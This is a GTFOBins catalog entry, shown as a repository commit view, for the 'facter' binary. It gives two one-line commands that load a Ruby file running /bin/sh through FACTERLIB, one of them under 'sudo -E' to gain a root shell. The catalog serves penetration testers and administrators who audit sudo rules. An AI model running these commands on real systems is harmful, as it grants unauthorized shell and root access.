GTFOBins.github.io/_gtfobins/facter.md
Andrea Cardaci aab8e783ec Add facter
Thanks to #20.
2018-09-04 13:42:37 +02:00

284 B

functions
execute-interactive sudo-enabled
code
TF=$(mktemp -d) echo 'exec("/bin/sh")' > $TF/x.rb FACTERLIB=$TF facter
code
TF=$(mktemp -d) echo 'exec("/bin/sh")' > $TF/x.rb FACTERLIB=$TF sudo -E facter